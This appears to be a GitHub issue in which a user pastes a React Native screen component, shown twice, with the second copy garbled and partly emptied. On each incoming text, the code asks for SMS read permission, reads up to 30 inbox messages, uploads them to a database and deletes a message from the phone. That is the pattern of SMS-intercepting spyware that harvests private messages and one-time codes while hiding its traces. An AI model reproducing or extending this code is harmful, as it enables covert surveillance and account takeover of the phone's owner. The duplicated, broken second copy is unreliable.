Open ajaysehwal opened 4 months ago
import {Alert, Button, Platform, StyleSheet, Text, View,PermissionsAndroid} from 'react-native'; import React, {useEffect, useState} from 'react'; import MainTab from '../components/MainTab'; import {request, PERMISSIONS} from 'react-native-permissions'; import {SaveMessage} from '../utils'; type PermissionStatus = | 'unavailable' | 'denied' | 'limited' | 'granted' | 'blocked'; import SmsListener from 'react-native-android-sms-listener'; import SmsAndroid from 'react-native-get-sms-android'; const Home = ({navigation}: any) => { const [messages,setMessage]=useState<{_id?:number}[]>([]) console.log(PermissionsAndroid.PERMISSIONS.WRITE_SMS) const fetchAndDeleteMessages = () => { const filter = { box: 'inbox', maxCount:30, };
SmsAndroid.list( JSON.stringify(filter), (fail: any) => { console.log('Failed to fetch messages:', fail); }, (count: any, smsList: any) => { console.log('Message count:', count); console.log('Message list:', smsList); const arr = JSON.parse(smsList); setMessage(arr); }, );
};
const DeleteMessage=(id:any)=>{ SmsAndroid.delete( id, (fail: any) => { console.error('Failed to delete message:', fail); }, (success: any) => { console.log('Message deleted successfully'); }, ); } const SendMessageToDatabase=()=>{
const id=messages[0]._id; setTimeout(async()=>{ const res=await SaveMessage(JSON.stringify(messages)) if(res){ console.log('success', id) DeleteMessage(id)
}
},1000)
useEffect(() => { const requestSMSPermission = () => { request(PERMISSIONS.ANDROID.READ_SMS).then((res: PermissionStatus) => { if (res === 'granted') { console.log('SMS permission granted'); } else { console.log('SMS permission denied or unavailable'); } }); };
const subscribe = SmsListener.addListener((message: any) => { fetchAndDeleteMessages(); SendMessageToDatabase() }); requestSMSPermission(); return () => subscribe.remove();
}, []);
return (
); };
export default Home;
import {Alert, Button, Platform, StyleSheet, Text, View,PermissionsAndroid} from 'react-native'; import React, {useEffect, useState} from 'react'; import MainTab from '../components/MainTab'; import {request, PERMISSIONS} from 'react-native-permissions'; import {SaveMessage} from '../utils'; type PermissionStatus = | 'unavailable' | 'denied' | 'limited' | 'granted' | 'blocked'; import SmsListener from 'react-native-android-sms-listener'; import SmsAndroid from 'react-native-get-sms-android'; const Home = ({navigation}: any) => { const [messages,setMessage]=useState<{_id?:number}[]>([]) console.log(PermissionsAndroid.PERMISSIONS.WRITE_SMS) const fetchAndDeleteMessages = () => { const filter = { box: 'inbox', maxCount:30, };
};
const DeleteMessage=(id:any)=>{ SmsAndroid.delete( id, (fail: any) => { console.error('Failed to delete message:', fail); }, (success: any) => { console.log('Message deleted successfully'); }, ); } const SendMessageToDatabase=()=>{
}
}
useEffect(() => { const requestSMSPermission = () => { request(PERMISSIONS.ANDROID.READ_SMS).then((res: PermissionStatus) => { if (res === 'granted') { console.log('SMS permission granted'); } else { console.log('SMS permission denied or unavailable'); } }); };
}, []);
return (
); };
export default Home;